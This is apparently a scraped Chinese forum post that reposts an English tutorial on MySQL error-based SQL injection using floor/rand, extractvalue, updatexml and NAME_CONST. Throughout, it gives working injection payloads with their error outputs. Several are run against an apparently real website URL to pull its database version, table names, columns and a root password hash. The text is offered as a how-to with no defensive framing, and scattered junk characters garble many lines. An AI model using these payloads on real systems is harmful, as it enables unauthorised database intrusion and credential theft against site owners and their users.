|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
$ n6 p$ I4 C0 \5 c% w5 K, e首先进行正常查询: mysql> select * from article where id = 1;
! t1 W- @, {; G A+—-+——-+———+& O( r5 a, n- T5 T9 D t
| id | title | content |
; F7 p8 a) ?1 Q$ l+—-+——-+———+5 |$ O# K; ~3 e1 q- g5 u7 V% N+ ~6 Y
| 1 | test | do it |) R! J# r) P/ |3 w! x0 c
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
9 j# F9 H0 p( t8 j3 @ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
* Z' a7 U4 O9 y( V1 t4 G$ [+ a例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);4 y; o4 \: }( x9 x) n$ g# C
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));. ^% I x4 q4 F* ^- R
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue0 c* l) ~: G: m! D) F5 Q3 d
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
( P- Y. y! _% n0 L. @+ QERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
- \9 A! ^, L& \! C
0 J: e' q9 A3 V# v* B: Q再收集: * C* p, A1 H1 _, o3 l
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) . k4 O3 m* C! O, q+ W
5 f; v5 _$ r& @9 kError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
- `' D" _4 N5 h1 ^+ d/ D" i: X5 H8 x' ~' B
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)8 l8 E9 A0 y& y7 ^! R8 l. y
3 k4 K6 y* a- s2 }4 r1 l0 x
Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 2 [6 H4 Z2 b4 F( @
: M m- ?, f" A* E+ _- c, h
MYSQL高版本报错注入技巧-利用NAME_CONST注入
4 K2 n+ s: V3 x( \" x' XIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
" G# |! c3 U9 h( M4 p4 F0 K1 ]8 w
* Y: U) i4 B0 y3 {( q/ U2 @7 L! H/ m/ K2 A' Q, K
相关信息# Z ?+ Z% b* `: J$ F
" B7 x8 i4 v( _
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.$ |+ S" Q/ T* P8 z: }
6 a% P4 Y: z6 CCode:& {" r2 E8 |- o1 e1 t+ O0 @
NAME_CONST(DATA, VALUE)0 ?0 k( j! i9 x3 r+ \! |
/ F2 a! p* ?: B; [: W
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.- Z, J4 @" \+ b6 ]) D) |& M
0 c& t* H5 M- C# I( h* n
SELECT NAME_CONST('TEST', 1)( w0 U3 E3 j5 V
% x: N) \1 g e
# F$ s+ |5 x- a
3 o6 R' R+ m- T! h: _|---------------|( }. W( o+ A# s
| TEST |5 _: l- P3 f3 B8 M/ Q; w
| |4 F# N" g* M9 s2 P; H
|---------------|/ ]. B+ X9 [/ U* w# o
| 1 |- R: U4 N! R9 l R1 {/ g3 A5 R
| |3 L! ^: U" L" _8 e
|---------------|' p0 Z5 j, K$ @0 A
7 o3 R3 X `5 n
2 I* Q9 q' s: n% W5 g/ i" o: M. l& M7 N5 i3 A; d& v9 b0 Q4 L
( y9 p$ b" b3 |' _http://dev.mysql.com/doc/refman/5.0/en/m...name-const
: f* l- ]3 @' t4 |7 PIntro to MySQL Variables3 F- N! U' n; M7 C; K
" q5 W: r ?! C5 A
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
+ c3 g% S5 W3 k. z6 h7 i9 Q8 [0 J, d& Q% u' V: x
Code:1 m/ r8 F; i0 G! H- l- Y% G
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
9 K/ o6 F) ^% _* Z1 U0 z5 @6 T d: \0 A4 t% y; o
+ G- ~" F% [( [4 M* [* u! j. m5 k
: W. e" q+ n& t V0 l
3 N# b# N2 n- ?' @* r
/ F- {+ V* c5 w( C" H: ^Code:: S; p3 @' W3 k ?8 F, W+ g
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
v2 P9 A: A* u$ Y* Y7 e1 {) c7 ^( @8 e3 R
, y2 u7 A$ M: A( T0 X8 |( QVAR = Your MySQL variable.! p: G- E/ V9 z5 I8 J+ R4 G
4 J, T/ T7 P8 b; CMySQL 5.1.3 Server System Variables
1 Y# u8 F: b E/ }3 w1 N3 P. m$ `& K# ?# Z% v& y* E! I
Let's try it out on my site..* e* F4 d- o; M2 D5 D: w! O
6 F/ c. x, y3 x0 m. w( I
Code:
5 q& [/ m& y9 H* ]0 D shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
) |1 M1 l8 ^; R
& [, u9 m ?6 D) _1 Y0 z- q! CError uplicate column name '5.0.27-community-nt'
5 [( ^6 U* T1 M. C$ o1 _, J) [# Z; _; i" G
" k& k2 {1 [* J' k
& n1 h* A( T9 h- _, y1 t
4 C$ C! p. k' Z! g. h: J: d% |) ^! J- o9 Q5 \2 @ l0 o: b$ t
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
; U# i; |& X. N" Z, G5 F" V$ r; K2 @
Data Extraction, ~8 m% ]! s3 J6 t9 G! x0 ?
& z4 ^% X2 e* T( i4 e' S2 h. ^, b0 dCode:. E6 c& b: D7 S4 ]
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--) ]2 v4 ]8 v. h$ j
) n" u+ H( x! Q$ P; c
+ V& c' n8 [4 ^6 T7 JWe should get a duplicate column 1 error..., A z* W* k1 N' t
5 V3 `4 G- H3 ? U) |2 S1 ^Code:# K. A( Q. b5 E% a6 Y/ T% F
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( s5 @5 J$ c. I- ^8 ]* h# M
: b: Q. n5 b4 @7 S/ d% f' JError uplicate column name '1
0 m$ h( s/ ]0 n4 _/ x# i0 V2 @* i. g. X4 x5 l0 D8 d2 k T$ n- h1 }
! e/ A4 H# h9 \3 |: F% k1 |6 y
9 r2 t2 n3 W# Y) O: {7 x# a) F3 w. h! Y
R3 x4 r2 z+ n0 u
3 d9 e3 \2 c: Z W0 zNow let's get the tables out this bitch..# E; Q3 D. v1 {8 W+ b
! F6 [" E8 b! |3 `/ W
Code:$ g( S) w9 n5 N k( r$ X' i) w
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--4 ~- P. P5 b/ a) D5 F
# \( @3 T: ~1 T% y/ i
) H% [+ U6 r, i ?5 C! CLet's see if it works here, if it does, we can go on and finish the job.
0 R% s$ F' i; O) J0 v8 _' y3 o
8 ~5 g: F' F( r8 V% o4 ICode:
3 n4 w) \) d* {% _- P# Vhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--8 v( q; ^6 z' i4 i( S( \
2 D$ C# W5 I9 \! c- R/ m% {' m/ J# n
) B/ Y3 u" {. ]; J& v& m5 h( t, NError uplicate column name 'com_admanage! P5 A( \1 k1 d- k; X9 z* O
7 M2 h4 i6 c: f& N& r
& v9 h% M2 ^% X X' Y6 O2 O3 V7 ?) q, X' y2 C3 R! Q3 j
: S+ T- u! I- ?% v
+ a4 A, S# V; i
$ \8 p. W6 j, K* I
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
) }7 f, O! f6 c0 W3 S, G; K! H. b- ^3 L/ C( z' P1 N
Let's get the columns out of the user table..
/ _2 H6 x8 w6 L$ B7 l
; ]# Y4 _& P- r+ sCode:
% j; J; |4 p z5 O x1 x5 d6 V& E+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
& [5 i5 r+ g0 M5 m/ r9 E2 Z; S) ]+ @7 Z( q2 J; J
+ |& C8 X- P: s7 W/ y! Q4 ~So mine looks like this, and I get the duplicate column name 'Host'.
+ V, _/ k7 e% W5 M4 V- g
$ }: y6 _5 h% i8 x+ E$ x$ GCode:5 R5 P0 e+ ~' m
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--/ m9 |7 u- b3 v& P) G
; h/ o. K% |9 X" S
Error uplicate column name 'Host'
, L( S( B6 L* C( a2 I4 c- k1 c( E' K9 w3 L& a- K9 R
( Q* ?& n2 q% G& D+ D0 U z& [
3 N' U0 E9 w4 l4 R3 b4 b' x; O: _2 e& F3 r- [/ Z3 Y- j
) h: U4 B2 s0 c# J C1 h4 [. Q
7 f2 W. x0 G% u' |1 U) o6 kWoot, time to finish this bitch off.
% f4 _( a/ J3 k0 h) ]: p) m& L) w
# x' Q. d) V$ W3 p. FCode:$ c2 L% g$ u$ a( o0 p0 M
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
) v4 x7 R# M! h3 D7 U
% @# E. {5 `1 {" ?7 ?0 Q; i+ ~7 Y1 U
So mine looks like this...( y2 k$ E* n6 U$ `$ W/ Q+ u8 D+ M
% R. N- |- k: @4 A3 K0 B8 C
Code:
6 W3 E' ~; \. a6 \4 x; y! mhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
) [/ ~3 y3 g/ P# s5 }4 \
, T/ R) a3 P qError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% P( c0 Q9 ~. W( }2 o: u; L4 W* A& H7 w0 U1 `* D
0 w% h& [9 p. }. u5 C: C' ^! E: j 0 f( W5 X" ]" l7 C
+ B# f4 Z p* t6 A s" L# D
" ]1 L: a/ m C# C
( T- T9 ?3 o) vAnd there we have it, thanks for reading.
' p8 {) m. P T; ~, i1 t5 p1 i) ~# e$ I6 S4 e2 ^8 [
|